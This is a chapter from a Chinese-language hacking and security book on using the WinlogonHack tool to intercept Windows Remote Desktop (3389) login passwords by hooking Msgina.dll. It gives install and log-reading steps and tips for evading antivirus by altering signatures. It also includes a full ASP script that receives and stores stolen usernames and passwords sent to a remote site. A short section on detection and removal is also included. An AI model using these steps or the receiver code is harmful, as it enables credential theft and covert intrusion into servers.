2.5 使用WinlogonHack获取系统密码
在网络安全事件频发的今天,很多人都在抱怨:为什么我的系统被入侵了,我的主页被修改了?在被入侵后,我采取了一些安全加固措施,可是没过几天又发现系统被入侵了!分析根本原因,就是系统中仍然存在安全隐患,可能是没有彻底清除系统后门,也可能是系统的密码一直都掌握在黑客手中。本节将全面分析远程终端密码的截取和防范。
2.5.1 远程终端密码泄露分析
1.远程终端技术
大型企业一般都部署了远程终端,在微软的服务器操作系统Windows Server 2008中更是重点打造了远程终端。终端服务器远程APP是Windows Server 2008中新的远程应用演示方法。在远程连接的一些参数上进行了调整,增加了一些新的功能,据说性能也有较大的提高。
2.远程终端密码泄露分析
在大型网络中,由于网络环境复杂,因此服务器之间往往通过远程终端来维护和管理。这种管理的方向不太固定,多是发散的,有的可能通过一台主机登录多台主机,有的可能通过多台主机登录同一台主机,也可能是交叉登录。黑客在入侵网络中的一台主机后,肯定会想办法收集网络内部或者与外部独立主机之间的远程终端登录用户名和密码,收集方法不外乎以下3种。
·使用GetHashes、PwDump等工具获取系统的Hash密码值,然后通过LC5及彩虹表来破解,破解成功后得到系统密码(这些密码极有可能是远程终端的密码)。
·在被控制计算机上安装键盘记录,通过键盘记录来获取用户在登录3389远程终端过程中输入的用户名和密码。这种方法有一定的限制,键盘记录在远程终端窗口最大化时有可能无法记录远程终端的登录密码。
·使用WinlogonHack工具软件截取远程登录时输入的正确密码(这也是本节要重点介绍的)。
当然,除了以上3种方法外,还有其他泄露途径。
2.5.2 WinlogonHack截取密码原理
1.Gina.dll与Msgina.dll
在Windows NT/2000中,交互式的登录支持是由Winlogon调用Gina.dll实现的。Gina.dll提供了一个交互式的界面,为用户登录提供认证请求。Winlogon会和Gina.dll进行交互,默认是Msgina.dll(在System32目录下)。微软也为我们提供了接口,我们可以自己编写Gina.dll来代替Msgina.dll。
不知道是什么原因,微软的Gina.dll在Windows XP及后续版本中都不再出现,原来的Gina.dll改为Msgina.dll。Msgina.dll在Windows XP中默认大小为967680字节(945KB),在Windows Server 2003中其大小为1180672字节(1153KB)。如果不是这个大小,估计就有问题了。
2.Msgina.dll文件被损坏和修改将导致严重的错误
DLL知识库(http://www.dofile.com/dlllibrary/msgina/)中是这样描述的:Msgina.dll是Windows登录认证策略相关模块,该模块用于完成所有的用户登录和验证功能。如果系统中的这个文件被修改或者破坏,将导致系统无法使用3389端口登录。如图2-40所示,这个系统的Msgina.dll文件被破坏了,导致用户无法远程登录3389终端服务器。
图2-40 Msgina.dll损坏或者被修改导致无法远程登录
3.WinlogonHack截取密码的原理
WinlogonHack通过挂钩系统中Msgina.dll的WlxLoggedOutSAS函数记录登录的账户密码。WinlogonHack初始化时会创建如下3个桌面。
· WinlogonHack桌面:主要显示Windows安全等界面,例如按下“Ctrl+Alt+Del”快捷键所出现的登录界面等。
·应用程序桌面:用户平时见到的计算机桌面。
·屏幕保护桌面:屏幕保护显示界面。
在默认情况下,Gina.dll或者Msgina.dll显示登录对话框,供用户输入用户名及密码。所以,要想获得用户名和密码,可以写一个新的Gina.dll或者Msgina.dll,其中提供接口调用Msgina.dll的函数是WlxLoggedOutSAS。在启动时可以使用WinlogonHack通知包,当有3389连上服务器时,新建的winlogon.exe会在登录前加载注册了“Startup”的dll并Hook函数。登录成功后,将密码记录到boot.dat文件中并取消Hook。退出3389后,即可删除dll文件。在实现上,只需要Msgina.dll中WlxLoggedOutSAS函数的前5字节,命令如下。
mov edi, edi push ebp mov ebp, esp
2.5.3 使用WinlogonHack获取密码实例
在WinlogonHack之前有一个Gina木马,主要用于截取Windows 2000下的密码。WinlogonHack主要用于截取Windows XP及Windows Server 2003下的密码。
1.执行install.bat安装脚本
一种方法是将WinlogonHack的安装程序文件Hookmsgina.dll、install.bat、On.reg及ReadLog.bat复制到一个相同的文件夹下,然后在DOS提示符或者GUI界面直接运行install.bat。执行完毕,不要重启,当有3389登录时自动加载DLL并记录登录密码,密码保存在系统system32目录的boot.dat文件中。另外一种方法是将所有的文件都放在同一个文件夹中,然后执行install命令。如图2-41所示为安装正确的一些提示。
图2-41 远程安装WinlogonHack软件截取3389登录密码
2.查看密码记录
可以直接打开boot.dat文件查看,也可以运行ReadLog.bat脚本,移动密码文件到当前目录中查看。本例中的操作系统是Windows Server 2003,直接通过Radmin的Telnet执行“dir boot.dat/a”命令,查看是否有远程登录。如图2-42所示,boot.dat大小为5762字节。使用“type boot.dat”命令可以看到登录时间、用户、域名、密码及旧密码(显示两个密码主要用于用户更改了密码的情况)。
图2-42 查看密码记录boot.dat文件
3.卸载WinlogonHack
运行Uninstall.bat即可自动卸载该程序。如果%systemroot%\system32\wminotify.dll文件未能删除,可以在重启后将其删除。
2.5.4 攻击与防范方法探讨
1.攻击方法探讨
(1)定制化开发
WinlogonHack的代码是开源的,因此攻击者可以定制它,即在“lstrcat( LogPath , "\\boot.dat"); ”中将boot.dat换成其他文件,执行WinlogonHack后,一般人员很难发觉。攻击者还可以在此基础上增加一个邮件发送功能,将记录下来的3389远程终端用户名和密码发送到指定的邮箱,笔者在进行安全加固的过程中就曾经碰到具有这种功能的3389密码截取木马软件。
(2)对WinlogonHack进行免杀处理
由于WinlogonHack工具软件在网络入侵中扮演了一个重要的辅助角色,因此一些厉害的杀毒软件会自动查杀wminotify.dll文件。如图2-43所示,笔者在做试验时,计算机中的avast!杀毒软件就能查出该文件,并将其作为病毒处理。因此,可以通过加花指令、修改特征码等方法修改该文件,使其能够绕过杀毒软件。
图2-43 杀毒软件会自动查杀wminotify.dll文件
(3)WinlogonHack在攻击中的应用
WinlogonHack工具软件主要用于截取3389登录密码,因此在被入侵计算机上运行mstsc后,如果发现在mstsc的计算机地址栏中出现多个登录IP地址,如图2-44所示,那么在该计算机上就有安装WinlogonHack软件的必要(通过它来记录在服务器上管理员所登录的3389用户名和密码)。
图2-44 获取3389登录地址列表
2.防范方法探讨
在系统目录中查找“wminotify.dll”文件,如果发现存在这个文件,则说明系统中一定安装了WinlogonHack工具。可以通过登录一个3389终端来测试系统目录下是否存在boot.dat文件,如果存在,则可以尝试使用Uninstall.bat批处理来卸载它;如果不能卸载,可以在重启后再次卸载。
直接到注册表的键值HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Current Version\Winlogon\Notify\wminotify下查看,如果存在,则将其删除。
定制的WinlogonHack较难根除,一个好办法是在安全状态下进行一次文件名称列表备份,以后每次检测系统时比较系统目前状态下文件列表的异同。
如果使用3389远程终端登录多台服务器进行管理,最好在管理完毕后及时清除3389登录地址列表。
杀毒软件在一定程度上能够防范一些已知的病毒,因此,要勤杀毒、勤看日志,在确认系统被入侵后,一定要仔细、彻底地做一次系统安全检测。
2.5.5 自动获取并发送密码到指定网站
1.配置Winlogon劫持记录3389密码生成器
互联网上有很多Winlogon劫持记录3389密码生成器,如图2-45所示,运行其配置程序,在“收密码地”文本框中输入网站或网页文件地址,例如“http://www.asm32.cn/post.asp”,其中post.asp为密码接收文件。单击“生成”按钮后,会在当前目录下生成一个exe文件,该文件中包含Winlogon的所有安装文件。
图2-45 配置网站接收文件地址
2.上传密码接收文件
将以下代码保存为3389.asp,将其放置在一个可以访问的网站目录下,同时必须设置3389.asp具备写文件权限,代码如下。
<% Dim ValidEntry ValidEntry = True If not IsEmpty(Session("LogIn")) then ValidEntry = False If ValidEntry Then Const ForAppending = 8 Const Create = true Dim FSO DIM TS DIM MyFileName 'Dim strLog Dim strTime, strUrl, strOporation, strUserAgent MyFileName = Server.MapPath("myIP.txt") Set FSO = Server.CreateObject("Scripting.FileSystemObject") Set TS = FSO.OpenTextFile(MyFileName, ForAppending, Create) strUrl=Request.ServerVariables("REMOTE_ADDR") & " " Ts.writeline "----分割线----" Ts.writeline "服务器IP:"&strUrl Session("LogIn") = "yes" Set TS = Nothing Set FSO = Nothing End If num=request("user") pass=request("pass") hxip=request("ip") set fs=server.CreateObject("Scripting.FileSystemObject") set file=fs.OpenTextFile(server.MapPath("IP.txt"),8, True) if hxip <>"" then file.writeline num+"----"+pass+"----ip:"+hxip else file.writeline num+"----"+pass end if file.close set file=nothing set fs=nothing %>
3.查看本地密码记录文件
在测试服务器上执行exe文件。特别提醒:所有生成的exe文件最好在虚拟机中运行,网上的软件有可能捆绑了木马程序,通过虚拟机来测试不会给实体机带来损失。
执行exe文件后,需要打开mstsc.exe(即远程终端登录),登录127.0.0.1。登录成功后,到c:\windows\system32\下使用“dir/od”命令,即可看到Winlogon劫持记录3389密码生成器所释放的4个程序:install.bat、wminotify.dll、On.reg、wpa.dbl。使用“type boot.dat”命令即可查看3389记录的密码及发送记录,如图2-46所示。
图2-46 获取密码记录
4.查看网站记录文件
到网页记录文件所在服务器,直接打开ip.txt或者使用类似http://www.antian365.com/ip.txt的地址进行访问,如图2-47所示,会记录远程终端服务器IP地址、用户名及密码信息。
图2-47 查看网站密码记录文件